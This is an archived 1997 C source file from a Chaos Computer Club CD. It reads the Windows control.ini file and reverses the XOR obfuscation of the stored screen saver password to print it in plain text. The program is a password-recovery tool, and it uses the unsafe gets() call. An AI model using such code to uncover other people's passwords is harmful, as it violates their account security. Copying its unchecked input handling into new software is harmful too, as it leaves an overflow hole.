home *** CD-ROM | disk | FTP | other *** search
/ Chaos Computer Club 1997 February / cccd_beta_feb_97.iso / contrib / faq / 2600 / decrypt.c < prev    next >
Encoding:
C/C++ Source or Header  |  1997-02-28  |  794 b   |  36 lines

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4.  
  5. int xor1(int i,int j)
  6. {
  7.   int x;
  8.  
  9.   x=i^j;
  10.   return (x>126||x<33||x==91||x==93||x==61)?i:x;
  11. }
  12. void main()
  13. {
  14.   FILE *f;
  15.   int i,l;
  16.   char s[80],s1[80];
  17.  
  18.   printf("Please enter the path to your Windows directory\n");
  19.   gets(s1);
  20.   sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
  21.   if((f=fopen(s,"rt"))==NULL){
  22.     printf("File Error : %s\n",sys_errlist[errno]);
  23.     exit(0);
  24.   }
  25.   while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
  26.   fclose(f);
  27.   strtok(s1,"=\n");
  28.   strcpy(s,strtok(NULL,"\n"));
  29.   i=strlen(s)-1;
  30.   for(l=i;l>-1;l--)
  31.     s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
  32.   for(l=0;l<i+1;l++)
  33.     s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
  34.   printf("The Password is: %s\n",s);
  35. }
  36.